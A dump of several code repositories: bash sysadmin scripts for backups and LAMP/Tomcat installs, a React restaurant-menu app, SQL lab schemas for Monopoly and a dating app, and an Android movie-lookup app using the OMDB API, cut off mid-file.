<repo_name>jbhodge/scripts<file_sep>/file_backup.sh #!/bin/bash #backup /home directory to timestamped tar file #must be run with su privileges tar czf /var/backups/file_$(date +\%Y-\%m-\%d).tar.gz /home/jhodge<file_sep>/lamp_deploy.sh #!/bin/bash -x #script must be run by the root user. uncomment relevant sections depending on distribution service handling #check for root user if [ `id -u` -ne 0 ]; then echo "This script must be run by the root user." exit 2 fi if [ "`lsb_release -is`" == "Fedora" ] then dnf install -y httpd community-mysql mysql-devel; dnf install -y php phpmyadmin mcrypt; dnf install -y tinyxml libzip; chmod 755 -R /var/www; printf "<?php\nphpinfo();\n?>" > /var/www/html/info.php #Systemd #systemctl start httpd.service; #systemctl restart mysqld.service; #init.d #service httpd start; #service mysqld start; chkconfig httpd on; chkconfig mysqld on; elif [ "`lsb_release -is`" == "Ubuntu"] || [ "`lsb_relase -is`" == "Debian" ] then apt-get install apache2; apt-get install mysql-server; apt-get install php5 libapache2-mod-php5 php5-mysql php5-mcrypt php5-cgi; chmod 755 -R /var/www printf "<?php\nphpinfo();\n?>" > /var/www/html/info.php #systemd #systemctl start apache2.service; #systemctl start mysqld.service; #init.d #service apache2 start; #service mysqld start; chkconfig apache2 on; chkconfig mysqld on; elif [ "`lsb_release -is`" == "RedHat" ] || [ "`lsb_release -is`" == "CentOS" ] then yum install -y httpd mysql-server mysql-devel; yum install -y php php-mysql php-fpm php-devel; yum install -y tinyxml libzip; chmod 755 -R /var/www printf "<?php\nphpinfo();\n?>" > /var/www/html/info.php #systemd #systemctl start httpd.service #systemctl start mysqld.service #init.d #service http start #service mysqld start chkconfig httpd on chkconfig mysqld on fi else <file_sep>/tomcat_deploy.sh #!/bin/bash +x #this script will install a tomcat instance on a centos7 or RHEL7 installation #check for root user if [ `id -u` -ne 0 ]; then echo "This script must be run by the root user." exit 2 fi #check for os version if [ "`lsb_release -is`" == "RedHat" ] || [ "`lsb_release -is`" == "CentOS" ] then yum install -y tomcat #set tomcat.conf for Tomcat memory usage echo "Please set the Xmx variable (Size in m): " read XMX echo "Please set the MaxPermSize variable (Size in m): " read MAXPERMSZ echo "#Add JAVA_OPTS options for Tomcat memory use" >> /usr/share/tomcat/conf/tomcat.conf echo "JAVA_OPTS="\""-Djava.security.egd=file:/dev/./urandom -Djava.awt.headless=true -Xmx${XMX} -MaxPermSize=${MAXPERMSZ} -XX:+UseConcMarkSweepGC\"" >> /usr/share/tomcat/conf/tomcat.conf #install the tomcat admin tools yum install -y tomcat-webapps tomcat-admin-webapps #check documentation preference echo "Would you like to install the Tomcat online documentation? (yes or no) " read DOCANSWER if [ ${DOCANSWER} == "yes" ] || [ ${DOCANSWER} == "y" ] then yum install -y tomcat-docs-webapp tomcat-javadoc fi #define users in the tomcat-users.xml file #loop to define the amount of users to add #start and enable the tomcat service systemctl start tomcat systemctl enable tomcat #open a browser to check for functionality echo "Would you like to open a browser to verify the server is running? (yes or no): " read WEBANSWER if [ ${WEBANSWER} == "yes" ] || [ ${WEBANSWER} == "y" ] then python -mwebbrowser http://127.0.0.1:8080 fi echo "Installation Complete" fi echo "This is not a supported operating system" exit 1 <file_sep>/system_stats.sh #!/bin/bash #place script in crontab for automated daily/hourly/etc messaging. function system_stats() { date echo"" echo -e "\e[31;43m****Hostname Information****\e[0m" hostnamectl echo"" echo -e "\e[31;43m****Filesystem Information****\e[0m" df -h | sort -rnk 5 | awk '{print "Partition " $6 "\t: " $5 " full."}' echo "" echo -e "\e[31;43m****Memory Information****\e[0m" free -h echo "" echo -e "\e[31;43m****System Uptime****\e[0m" uptime echo"" echo -e "\e[31;43m****User Information****\e[0m" who -ab echo "" echo -e "\e[31;43m****Memory Consuming Processes****\e[0m" ps -eo %mem,%cpu,comm --sort=-%mem | head -n 10 echo "" } system_stats >> /var/tmp/stats.txt mail -s 'System Status Report' '<EMAIL>' < /var/tmp/stats.txt
f6cfba2bad32ea780f7d0297d43c3713b606c828
[ "Shell" ]
4
Shell
jbhodge/scripts
7895fc1ddb90b23c1f9ff1203ecdc592ad25c2c9
6a455c5a7377ab72ff4e9b3e6e13536a22b3052e
refs/heads/master
<repo_name>buheshagoulilun/project<file_sep>/src/data/menudetails.js import breadSandwich from "../images/bread-food-salad-sandwich.jpg"; import spaghettiPasta from "../images/food-dinner-pasta-spaghetti.jpg"; import healthySalad from "../images/food-salad-healthy-lunch.jpg"; import meatMushroom from "../images/meat-vegetables-gemuesepiess-mushrooms-111131.jpeg"; import muffin from "../images/muffin.jpg"; import tomYumSoup from "../images/pexels-photo-48726.jpeg"; import burgerFries from "../images/pexels-photo-70497.jpeg"; import stirFry from "../images/pexels-photo-76093.jpeg"; import spinachSalad from "../images/pexels-photo-169743.jpeg"; import kaleSalad from "../images/salad-healthy-diet-spinach.jpg"; import salmonCake from "../images/salmon-dish-food-meal-46239.jpeg"; import pizza from "../images/vegetables-italian-pizza-restaurant.jpg"; const menuDetails = [ { "id": "1", "name": "烤牛肉香煎芝士", "image": breadSandwich, "price": "¥69", "served": ["lunch", "dinner"], "spiceLevel": "medium" }, { "id": "2", "name": "蟹粉捞面", "image": spaghettiPasta, "price": "¥397", "served": ["lunch", "dinner"], "spiceLevel": "high" }, { "id": "3", "name": "龙碗", "image": healthySalad, "price": "¥58", "served": ["lunch","dinner"], "spiceLevel": "high" }, { "id": "4", "name": "荠菜肉丝炒年糕", "image": meatMushroom, "price": "¥38", "served": ["lunch", "dinner"], "spiceLevel": "high" }, { "id": "5", "name": "芝士蛋糕", "image": muffin, "price": "¥36", "served": ["all day"], "spiceLevel": "high" }, { "id": "6", "name": "鸡汤", "image": tomYumSoup, "price": "¥80", "served": ["lunch", "dinner"], "spiceLevel": "medium" }, { "id": "7", "name": "蘑菇味狠浓牛肉汉堡", "image": burgerFries, "price": "¥98", "served": ["breakfast", "lunch", "dinner"], "spiceLevel": "medium" }, { "id": "8", "name": "韵味小炒宁乡花猪肉", "image": stirFry, "price": "¥59", "served": ["lunch", "dinner"], "spiceLevel": "high" }, { "id": "9", "name": "沙拉", "image": spinachSalad, "price": "¥58", "served": ["lunch","dinner"], "spiceLevel": "medium" }, { "id": "10", "name": "豆浆豆苗", "image": kaleSalad, "price": "¥68", "served": ["lunch","dinner"], "spiceLevel": "low" }, { "id": "11", "name": "三文鱼拼盘", "image": salmonCake, "price": "¥55", "served": ["all day"], "spiceLevel": "medium" }, { "id": "12", "name": "玛格丽特", "image": pizza, "price": "¥38", "served": ["lunch", "dinner"], "spiceLevel": "high" } ]; export default menuDetails;<file_sep>/src/components/menus/MenuDetail.js import React from "react"; import {Avatar, Chip} from "material-ui"; import {Col, Grid, Row} from "react-flexbox-grid"; import menuDetails from "../../data/menudetails"; import {blue300} from "material-ui/styles/colors"; const menuRowOneStyle = { alignItems: "center", paddingTop: "7%", paddingBottom: "7%" }; const menuRowTwoStyle = { paddingBottom: "3%" }; const styles = { chip: { margin: 4, }, }; class MenuDetail extends React.Component { constructor(props) { super(props); this.state = { menuDetails: menuDetails }; } render() { const {match} = this.props; const menuDetail = this.state.menuDetails.filter(function (menuDetail) { return menuDetail.id === match.params.id; })[0]; return ( <Grid fluid> <Row center="lg" style={menuRowOneStyle}> <Col xs={4}><Avatar src={menuDetail.image} size="60"/></Col> <Col xs={8} sm={6} lg={4}> <Row>{menuDetail.name}</Row> <Row>{menuDetail.price}</Row> </Col> </Row> <Row center="lg" style={menuRowTwoStyle}> {menuDetail.served.map(c => <Chip key={c} backgroundColor={blue300} style={styles.chip}>{c}</Chip>)} </Row> <Row> <Chip backgroundColor="#2ecc71" style={styles.chip}>{menuDetail.spiceLevel}</Chip> </Row> </Grid> ); } } export default MenuDetail; <file_sep>/src/components/menus/SpicyMenu.js import React from "react"; import {Avatar, List, ListItem} from 'material-ui'; import {Grid, Row, Col} from 'react-flexbox-grid'; import {withRouter} from 'react-router'; import foodItems from '../../data/food.js'; // https://www.pexels.com/photo-license/ // All photos on Pexels are free for any personal and commercial purpose. class SpicyMenu extends React.Component { constructor(props) { super(props); this.state = { foodItems: foodItems } } render() { return ( <List> {this.state.foodItems.map(foodItem => <SpicyMenuItemWithRouter key={foodItem.id} {...foodItem}/>)} </List> ); } } const RowItemStyle = { alignItems: "center" }; class SpicyMenuItem extends React.Component { constructor(props) { super(props); this.fetchMenuItem = this.fetchMenuItem.bind(this); } fetchMenuItem(menuId) { return () => { console.log("fetching menu with id: " + menuId); this.props.history.push('/menuDetail/' + menuId); } } render() { return ( <ListItem onClick={this.fetchMenuItem(this.props.id)}> <Grid fluid> <Row center="lg" style={RowItemStyle}> <Col xs={3} sm={3} lg={2}><Avatar src={this.props.image}/></Col> <Col xs={6} sm={6} lg={4}>{this.props.name}</Col> <Col xs={3} sm={3} lg={2}>{this.props.price}</Col> </Row> </Grid> </ListItem> ); } } const SpicyMenuItemWithRouter = withRouter(SpicyMenuItem); export default SpicyMenu;<file_sep>/src/index.js import React from "react"; import ReactDOM from "react-dom"; import MuiThemeProvider from "material-ui/styles/MuiThemeProvider"; import injectTapEventPlugin from "react-tap-event-plugin"; import App from "./App"; import Summary from "./components/summary/Summary"; import Menu from "./components/menus/SpicyMenu"; import AddMenu from "./components/menus/AddMenu"; import MenuDetail from "./components/menus/MenuDetail"; import {BrowserRouter as Router, browserHistory, Route, Redirect} from "react-router-dom"; injectTapEventPlugin(); const Root = () => ( <MuiThemeProvider> <Router history={browserHistory}> <div> <Route path="/" component={App}/> <Route path="/menu" component={Menu}/> <Route path="/summary" component={Summary}/> <Route path="/addMenu" component={AddMenu}/> <Route path="/menuDetail/:id" component={MenuDetail}/> <Redirect from="/" to="/menu"/> </div> </Router> </MuiThemeProvider> ); ReactDOM.render(<Root />, document.getElementById('root')); <file_sep>/src/components/menus/AddMenu.js import React from "react"; import {Grid, Row} from "react-flexbox-grid"; import {DatePicker, FlatButton, TextField, Snackbar} from "material-ui"; import "../../App.css"; const RowItemStyle = { alignItems: "center" }; const buttonStyle = { marginTop: "6%" }; class AddMenu extends React.Component { constructor(props) { super(props); this.state = this.initialState; this.handleInputChange = this.handleInputChange.bind(this); this.handleDate = this.handleDate.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.state = { file: '', imagePreviewUrl: '' }; this._handleImageChange = this._handleImageChange.bind(this); this._handleSubmit = this._handleSubmit.bind(this); } _handleSubmit(e) { e.preventDefault(); // TODO: do something with -> this.state.file } _handleImageChange(e) { e.preventDefault(); let reader = new FileReader(); let file = e.target.files[0]; reader.onloadend = () => { this.setState({ file: file, imagePreviewUrl: reader.result }); } reader.readAsDataURL(file) } initialState = { name: '', price: '', showSnack: false }; handleTouchTap = () => { this.setState({ open: true, }); }; handleRequestClose = () => { this.setState({ open: false, }); }; handleInputChange(e) { const inputName = e.target.name; const inputValue = e.target.value; this.setState({ [inputName]: inputValue }) } handleDate(e, date) { this.setState(function (prevState) { prevState.date = date }); } handleSubmit(e) { e.preventDefault(); // validate form console.log("Added new Menu with" + JSON.stringify(this.state, null, 2)); this.handleTouchTap(); this.setState(this.initialState); } render() { let {imagePreviewUrl} = this.state; let $imagePreview = null; if (imagePreviewUrl) { $imagePreview = (<img src={imagePreviewUrl} />); } return ( <div> <form> <Grid fluid> <Row center="lg" style={RowItemStyle}> <TextField name="name" hintText="Your recommended restaurant" floatingLabelText="Menu Name" onChange={this.handleInputChange} required={true} value={this.state.name} /> </Row> <Row center="lg" style={RowItemStyle}> <TextField name="price" type="number" required={true} hintText="Your rate" floatingLabelText="Rate" onChange={this.handleInputChange} value={this.state.price} /> </Row> <Row center="lg" style={RowItemStyle}> <DatePicker name="date" autoOk={true} required={true} hintText="Menu Add Date" container="inline" defaultDate={new Date()} onChange={this.handleDate} /> </Row> <Row center="lg" style={RowItemStyle}> <form onSubmit={this._handleSubmit}> <input type="file" onChange={this._handleImageChange} multiple /> </form> </Row> </Grid> <FlatButton style={buttonStyle} type="submit" label="SUBMIT" backgroundColor="#a4c639" hoverColor="#8AA62F" fullWidth={true} onClick={this.handleSubmit} /> <Snackbar open={this.state.open} message="Menu Added!" autoHideDuration={4000} onRequestClose={this.handleRequestClose} /> </form> <div className="imagePreview" > {$imagePreview} </div> </div> ); } } export default AddMenu;<file_sep>/src/App.js import React from "react"; import {AppBar, Drawer, MenuItem} from "material-ui"; import {Link} from "react-router-dom"; import "./index.css"; import FloatingActionButton from 'material-ui/FloatingActionButton'; import ContentAdd from 'material-ui/svg-icons/content/add'; const style = { margin: 0, top: 'auto', right: 20, bottom: 20, left: 'auto', position: 'fixed', zIndex: 100 }; class App extends React.Component { constructor(props) { super(props); this.state = { open: false } } toggleDrawer = () => this.setState({open: !this.state.open}); handleAddMenu = (e) => { e.stopPropagation(); console.log("Opening New Menu Form"); this.props.history.push("/addMenu"); } render() { return ( <div> <AppBar title="Recommended restaurants around NYUSH" iconClassNameRight="muidocs-icon-navigation-expand-more" onLeftIconButtonTouchTap={this.toggleDrawer} /> <Drawer docked={false} width={300} onRequestChange={this.toggleDrawer} open={this.state.open} > <AppBar title="Menu" onLeftIconButtonTouchTap={this.toggleDrawer} /> <MenuItem primaryText="Menu" containerElement={<Link to="/menu"/>} onTouchTap={() => { this.toggleDrawer() }} /> <MenuItem primaryText="Add Menu" containerElement={<Link to="/addMenu"/>} onTouchTap={() => { this.toggleDrawer() }} /> </Drawer> <div className="container"> {this.props.children} </div> <div style={{zIndex: 100}}> <FloatingActionButton style={style} mini={true} secondary={true} onTouchTap={this.handleAddMenu}> <ContentAdd /> </FloatingActionButton> </div> </div> ); } } export default App;<file_sep>/src/components/summary/Summary.js import React from 'react'; const Summary = () => { return <h1>I don't know how to do</h1>; }; export default Summary;<file_sep>/src/data/food.js import breadSandwich from "../images/bread-food-salad-sandwich.jpg"; import spaghettiPasta from "../images/food-dinner-pasta-spaghetti.jpg"; import healthySalad from "../images/food-salad-healthy-lunch.jpg"; import meatMushroom from "../images/meat-vegetables-gemuesepiess-mushrooms-111131.jpeg"; import muffin from "../images/muffin.jpg"; import tomYumSoup from "../images/pexels-photo-48726.jpeg"; import burgerFries from "../images/pexels-photo-70497.jpeg"; import stirFry from "../images/pexels-photo-76093.jpeg"; import spinachSalad from "../images/pexels-photo-169743.jpeg"; import kaleSalad from "../images/salad-healthy-diet-spinach.jpg"; import salmonCake from "../images/salmon-dish-food-meal-46239.jpeg"; import pizza from "../images/vegetables-italian-pizza-restaurant.jpg"; const foodItems = [ { "id": "1", "name": "Bites&Brews", "image": breadSandwich, "price": "5 stars" }, { "id": "2", "name": "荟廷·晶萃(尚悦湾店)", "image": spaghettiPasta, "price": "5 stars" }, { "id": "3", "name": "桂满陇", "image": healthySalad, "price": "5 stars" }, { "id": "4", "name": "兰心餐厅", "image": meatMushroom, "price": "5 stars" }, { "id": "5", "name": "<NAME>", "image": muffin, "price": "5 stars" }, { "id": "6", "name": "<NAME>", "image": tomYumSoup, "price": "5 stars" }, { "id": "7", "name": "蓝蛙", "image": burgerFries, "price": "5 stars" }, { "id": "8", "name": "望湘园-小雅", "image": stirFry, "price": "5 stars" }, { "id": "9", "name": "SPACELAB 失重餐厅", "image": spinachSalad, "price": "5 stars" }, { "id": "10", "name": "翠园", "image": kaleSalad, "price": "5 stars" }, { "id": "11", "name": "南小馆", "image": salmonCake, "price": "5 stars" }, { "id": "125", "name": "simply italian", "image": pizza, "price": "5 stars" } ]; export default foodItems;
09bbfcace6851fce061c43bccd04561f290431fe
[ "JavaScript" ]
8
JavaScript
buheshagoulilun/project
a4de4786796af8215e77896cdfb7571faf00e037
d0bdbe70fa43a0937a3225f3f9243839b5595f49
refs/heads/master
<file_sep># cs262 CS 262 - Software Development Calvin University Calvin Dating App, Team B For grading Ionic Labs please view folder lab. All work and edits are recorded in LabEdits.txt right inside the lab folder. <file_sep>/* Created todo.ts for lesson04 * this file saves our Todo interface * makes it accessible for other classes. */ export interface Todo { id: number; title: string; description: string; } <file_sep>import { Component, OnInit } from '@angular/core'; import { Todo } from "../interfaces/todo"; @Component({ selector: 'app-tabs', templateUrl: './tabs.page.html', styleUrls: ['./tabs.page.scss'], }) export class TabsPage implements OnInit { private todo: any; constructor() { this.todo = { id : 0, title : '', description: '' }; } ngOnInit() { } saveToDo() { } } <file_sep>import { Component } from '@angular/core'; @Component({ selector: 'app-home', templateUrl: 'home.page.html', styleUrls: ['home.page.scss'], }) export class HomePage { value = "0"; firstNum = 0; secondNum = 0; currentState = ""; decimal = false; newNum = 0; numberGroups = [ [7, 8, 9, 'x'], [4, 5, 6, '-'], [1, 2, 3, '+'], [0, '.', 'clear','='] ]; onButtonPress(input) { console.log(this.currentState); console.log(this.firstNum); console.log(this.secondNum); //Delete the number 0 from value if(Number(input) && this.value.length === 1 && this.value === "0") { this.value = ""; } //Add input to value if (Number(input) || input == "0") { this.value += input; } else if (input == "." && this.decimal == false) { this.value += input; this.decimal = true; } //Non-Numeric Buttons //Clear if(input === "clear") { this.value = "0"; this.firstNum = 0; this.secondNum = 0; this.currentState = ""; this.decimal = false; } //Multiply, Subtract, Plus if(input == "x" && this.currentState == "") { this.firstNum = parseFloat(this.value); this.currentState = "x"; this.decimal = false; this.value = "0"; } else if(input == "-" && this.currentState == "") { /* if(this.decimal == true) { this.firstNum = parseFloat(this.value); } else { this.firstNum = parseInt(this.value); } */ this.firstNum = parseFloat(this.value); this.currentState = "-"; this.decimal = false; this.value = "0"; } else if(input == "+" && this.currentState == "") { this.firstNum = parseFloat(this.value); this.currentState = "+"; this.decimal = false; this.value = "0"; } //Equals if(input == "=") { this.secondNum = parseFloat(this.value); if(this.currentState == "x") { //Multiply this.newNum = this.firstNum * this.secondNum; this.value = this.newNum.toFixed(2); } else if(this.currentState == "-") { //Subtract this.newNum = this.firstNum - this.secondNum; this.value = this.newNum.toFixed(2); } else if(this.currentState == "+") { //Add this.newNum = this.firstNum + this.secondNum; this.value = this.newNum.toFixed(2); } } } } <file_sep><ion-header> <ion-toolbar> <ion-title> Lab05 </ion-title> </ion-toolbar> </ion-header> <ion-content> <div class="ion-padding" > Click here to switch pages: <a href="tabs">Next Page</a> <p> Created a new interface called<br> todo, check todo.ts<br> </p> </div> </ion-content> <file_sep>-- -- This SQL script builds a monopoly database, deleting any pre-existing version. -- -- @author kvlinden -- @version Summer, 2015 -- -- Drop previous versions of the tables if they they exist, in reverse order of foreign keys. DROP TABLE IF EXISTS Properties; DROP TABLE IF EXISTS PlayerState; DROP TABLE IF EXISTS PlayerGame; DROP TABLE IF EXISTS Game; DROP TABLE IF EXISTS Player; -- Create the schema. CREATE TABLE Game ( ID integer PRIMARY KEY, time timestamp ); CREATE TABLE Player ( ID integer PRIMARY KEY, emailAddress varchar(50) NOT NULL, name varchar(50) ); CREATE TABLE PlayerGame ( gameID integer REFERENCES Game(ID), playerID integer REFERENCES Player(ID), score integer ); --Tables added for saving a game. PlayerState holds current location and --cash. Properties table has each property as a primary key because the --properties will not change but the owner and number of houses/hotels --will change. CREATE TABLE PlayerState( gameID integer REFERENCES Game(ID), playerID integer REFERENCES Player(ID), cash integer, pLocation integer, time timestamp ); CREATE TABLE Properties( gameID integer REFERENCES Game(ID), propertyName varchar(50), propertyOwner integer REFERENCES Player(ID), houses integer, hotels integer ); -- Allow users to select data from the tables. GRANT SELECT ON Game TO PUBLIC; GRANT SELECT ON Player TO PUBLIC; GRANT SELECT ON PlayerGame TO PUBLIC; GRANT SELECT ON PlayerState TO PUBLIC; GRANT SELECT ON Properties TO PUBLIC; -- Add sample records. INSERT INTO Game VALUES (1, '2006-06-27 08:00:00'); INSERT INTO Game VALUES (2, '2006-06-28 13:20:00'); INSERT INTO Game VALUES (3, '2006-06-29 18:41:00'); --3 Current Games INSERT INTO Game VALUES (4, '2019-10-20 08:00:00'); INSERT INTO Game VALUES (5, '2019-10-22 08:00:00'); INSERT INTO Game VALUES (6, '2019-10-23 08:00:00'); INSERT INTO Player(ID, emailAddress) VALUES (1, '<EMAIL>'); INSERT INTO Player VALUES (2, '<EMAIL>', '<NAME>'); INSERT INTO Player VALUES (3, '<EMAIL>', 'Dogbreath'); INSERT INTO PlayerGame VALUES (1, 1, 0.00); INSERT INTO PlayerGame VALUES (1, 2, 0.00); INSERT INTO PlayerGame VALUES (1, 3, 2350.00); INSERT INTO PlayerGame VALUES (2, 1, 1000.00); INSERT INTO PlayerGame VALUES (2, 2, 0.00); INSERT INTO PlayerGame VALUES (2, 3, 500.00); INSERT INTO PlayerGame VALUES (3, 2, 0.00); INSERT INTO PlayerGame VALUES (3, 3, 5500.00); INSERT INTO PlayerGame VALUES (4, 1, 0.00); INSERT INTO PlayerGame VALUES (4, 2, 435.00); INSERT INTO PlayerGame VALUES (4, 3, 2350.00); INSERT INTO PlayerGame VALUES (5, 1, 1000.00); INSERT INTO PlayerGame VALUES (5, 2, 745.00); INSERT INTO PlayerGame VALUES (5, 3, 500.00); INSERT INTO PlayerGame VALUES (6, 2, 700.00); INSERT INTO PlayerGame VALUES (6, 3, 5500.00); --Add all properties, all other values in table can be null. INSERT INTO Properties VALUES (1, 'Mediterranean Avenue', 2, 5, 4), (1, 'Baltic Avenue', 2, 0, 0), (1, 'Arctic Avenue', 3, 1, 1), (1, 'Massachusetts Avenue', 3, 2, 2), (1, 'Oriental Avenue',1,0,0); --40 Spaces on a classic monoply board. --Add player state INSERT INTO PlayerState VALUES (1, 1, 500, 28, '2019-06-27 08:00:00'); INSERT INTO PlayerState VALUES (1, 2, 700, 23, '2019-06-27 08:00:00'); INSERT INTO PlayerState VALUES (1, 3, 100, 10, '2019-06-27 08:00:00'); --Add all properties, all other values in table can be null. INSERT INTO Properties VALUES (4, 'Mediterranean Avenue', 2, 5, 4), (4, 'Baltic Avenue', 2, 0, 0), (4, 'Arctic Avenue', 3, 1, 1), (4, 'Massachusetts Avenue', 3, 2, 2), (4, 'Oriental Avenue',1,0,0); --40 Spaces on a classic monoply board. --Add player state INSERT INTO PlayerState VALUES (4, 1, 500, 28, '2019-06-27 08:00:00'); INSERT INTO PlayerState VALUES (4, 2, 700, 23, '2019-06-27 08:00:00'); INSERT INTO PlayerState VALUES (4, 3, 100, 10, '2019-06-27 08:00:00');<file_sep>--Lab08 Queries --Author: <NAME> (bmg23) ------------------------------ --Retrieve a list of all the games, ordered by date with the most recent game coming first. SELECT * FROM Game WHERE time > '2006-06-26' ORDER BY time DESC; --Retrieve all the games that occurred in the past week. SELECT * FROM Game WHERE time > '2019-10-20' ORDER BY time DESC; --Retrieve a list of players who have (non-NULL) names. SELECT * FROM Player WHERE name IS NOT NULL; --Retrieve a list of IDs for players who have some game score larger than 2000. SELECT * FROM PlayerGame WHERE score > 2000 ORDER BY score DESC; --Retrieve a list of players who have gmail accounts. SELECT * FROM Player WHERE emailAddress LIKE '%gmail%'; --Retrieve all “The King”’s game scores in decreasing order. SELECT name, score FROM Player INNER JOIN PlayerGame ON Player.ID = PlayerGame.playerID WHERE Player.name LIKE '%King%' ORDER BY score DESC; --Retrieve the name of the winner of the game played on 2006-06-28 13:20:00. SELECT name, score, date FROM Game INNER JOIN PlayerGame --So what does that P1.ID < P2.ID clause do in the last example query? --The query that joined the Player table to itself seems rather contrived. --Can you think of a realistic situation in which you’d want to join a table to itself?<file_sep>CREATE DATABASE cuDating; --Login Info --Holds login info for each user. CREATE TABLE LoginInfo ( ID int, UserName VARCHAR(255), --We will change this --and work on security later. Password VARCHAR(255), DisplayName VARCHAR(255) ); --Match Info --Matches will be added when two people match --They will then be declared false when two --people unmatch. CREATE TABLE MatchInfo ( User1 VARCHAR(255), User2 VARCHAR(255), MatchStatus SMALLINT ); --Chat Info CREATE TABLE ChatInfo ( User1 VARCHAR(255), User2 VARCHAR(255), ChatAddress INT );
bbc01170c9ae2cae64d258a9715b3b47c9b50f18
[ "Markdown", "SQL", "TypeScript", "HTML" ]
8
Markdown
bmg23/cs262
e65890b0955cc8dff41cc34f7fce289b940fdc5b
bcb78982b443f06a565bf596e96b11973996d5f2
refs/heads/master
<repo_name>NapoleaoHerculano/Wiki-Movie<file_sep>/app/src/main/java/com/napoleao/wikimovie/ui/home/HomeFragment.java package com.napoleao.wikimovie.ui.home; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ProgressBar; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import com.napoleao.wikimovie.R; import com.napoleao.wikimovie.adapter.MovieAdapter; import com.napoleao.wikimovie.api.DataService; import com.napoleao.wikimovie.helper.OMDBConfig; import com.napoleao.wikimovie.helper.RetrofitConfig; import com.napoleao.wikimovie.model.Movie; import java.util.ArrayList; import java.util.List; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; import retrofit2.Retrofit; import static androidx.recyclerview.widget.RecyclerView.HORIZONTAL; /** * Fragment da tela Home (recomendações). */ public class HomeFragment extends Fragment { private RecyclerView recyclerMovie; private List<Movie> movieList = new ArrayList<>(); private Retrofit retrofit; private ProgressBar progressBar; //A API não me fornece recomendações de filmes, para contornar essa limitação, defini alguns //filmes que gosto para esta tela. private static final String [][] recomendados = {{"The Amazing Spider-Man", "2012"}, {"Birds of Prey", "2020"}, {"Joker","2019"}, {"Logan", "2017"}, {"Avengers", "2012"}}; @Override public void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { return inflater.inflate(R.layout.fragment_home, container, false); } @Override public void onViewCreated(@NonNull View view, @Nullable Bundle savedInstanceState) { progressBar = view.findViewById(R.id.progress); progressBar.setVisibility(View.VISIBLE); recyclerMovie = view.findViewById(R.id.recyclerMovie); recyclerMovie.setVisibility(View.INVISIBLE); retrofit = RetrofitConfig.getRetrofit(); if (movieList.size() == 0){ getMovies(); }else{ recyclerMovie.setVisibility(View.VISIBLE); configureRecyclerView(); progressBar.setVisibility(View.GONE); } } /** * Neste método faço a busca dos filmes definidos no meu array de recomendações. * Os adiciono na lista que será carregada pelo meu RecyclerView. * Carrego o RecyclerView e retiro a ProgressBar após exibir os itens. */ private void getMovies(){ for (String[] recomendado : recomendados) { String movieTitle = recomendado[0].replaceAll(" ", "+"); String movieYear = recomendado[1]; DataService dataService = retrofit.create(DataService.class); dataService.getMovieByNameAndYear(movieTitle, movieYear, OMDBConfig.PLOT, OMDBConfig.OMDB_API_KEY).enqueue(new Callback<Movie>() { @Override public void onResponse(Call<Movie> call, Response<Movie> response) { if (response.isSuccessful()) { Movie movie = response.body(); movieList.add(movie); recyclerMovie.setVisibility(View.VISIBLE); configureRecyclerView(); progressBar.setVisibility(View.GONE); } } @Override public void onFailure(Call<Movie> call, Throwable t) { } }); Log.d("Response", "Size " + movieList.size()); } } /** * Configura o RecyclerView. */ private void configureRecyclerView(){ RecyclerView.LayoutManager layoutManager = new LinearLayoutManager(getContext(), HORIZONTAL, false); MovieAdapter movieAdapter = new MovieAdapter(getActivity(), movieList); recyclerMovie.setLayoutManager(layoutManager); recyclerMovie.setHasFixedSize(true); recyclerMovie.setAdapter(movieAdapter); } } <file_sep>/app/src/main/java/com/napoleao/wikimovie/helper/DAO/SearchDAO.java package com.napoleao.wikimovie.helper.DAO; import android.content.ContentValues; import android.content.Context; import android.database.Cursor; import android.database.sqlite.SQLiteConstraintException; import android.database.sqlite.SQLiteDatabase; import android.util.Log; import android.view.View; import android.widget.Toast; import com.google.android.material.snackbar.Snackbar; import com.napoleao.wikimovie.model.Movie; import java.util.ArrayList; import java.util.List; /** * Classe responsável por implementar os métodos para utilização do Banco de Dados. */ public class SearchDAO implements ISearchDAO { private SQLiteDatabase write; private SQLiteDatabase read; private Context context; public SearchDAO(Context context){ this.context = context; DBHelper dbHelper = new DBHelper(context); write = dbHelper.getWritableDatabase(); read = dbHelper.getReadableDatabase(); } /** * Método responsável por salvar um filme como favorito. * @param movie filme escolhido pelo usuário. * @param v view onde o método será chamado. A utilizo para poder mostrar a Snackbar. * @return true se for possível persistir. * false se o filme já existir no BD. */ @Override public boolean save(Movie movie, View v) { ContentValues cv = new ContentValues(); cv.put("title", movie.getTitle()); cv.put("year", movie.getYear()); cv.put("poster", movie.getPoster()); cv.put("released", movie.getReleased()); cv.put("rated", movie.getRated()); cv.put("runtime", movie.getRuntime()); cv.put("genre", movie.getGenre()); cv.put("plot", movie.getPlot()); try{ write.insertOrThrow(DBHelper.TABLE_FAVORITES, null, cv); Snackbar snackbar = Snackbar.make(v, "Added to Favorites!", Snackbar.LENGTH_LONG); snackbar.show(); Log.i("INFO ", "Filme salvo com sucesso!"); } catch (SQLiteConstraintException e) { Toast.makeText(context, "This movie is already added to favorites!", Toast.LENGTH_LONG).show(); return false; } return true; } /** * Método utilizado para excluir um filme dos favoritos. * @param movie filme escolhido pelo usuário. * @return true se a exclusão for bem sucedida. * false se ocorrer algum erro durante o processo. */ @Override public boolean delete(Movie movie) { try{ String[] args = {movie.getId().toString()}; write.delete(DBHelper.TABLE_FAVORITES, "id=?", args); Log.i("INFO ", "Filme removido com sucesso!"); } catch (Exception e) { Log.e("INFO", "Erro ao remover filme " + e.getMessage()); return false; } return true; } /** * Método responsável por retornar todos os filmes favoritos do usuário. * @return List com todos os filmes favoritos. */ @Override public List<Movie> listAll() { List<Movie> favorites = new ArrayList<>(); String sql = "SELECT * FROM " + DBHelper.TABLE_FAVORITES + " ;"; Cursor cursor = read.rawQuery(sql, null); cursor.move(0);//Por alguma razão que desconheço, o cursor não inicializava no primeiro índice, por isso setei o índice 0 como inicial. while (cursor.moveToNext()){ Movie movie = new Movie(); Integer id = cursor.getInt(cursor.getColumnIndex("id")); String title = cursor.getString(cursor.getColumnIndex("title")); String year = 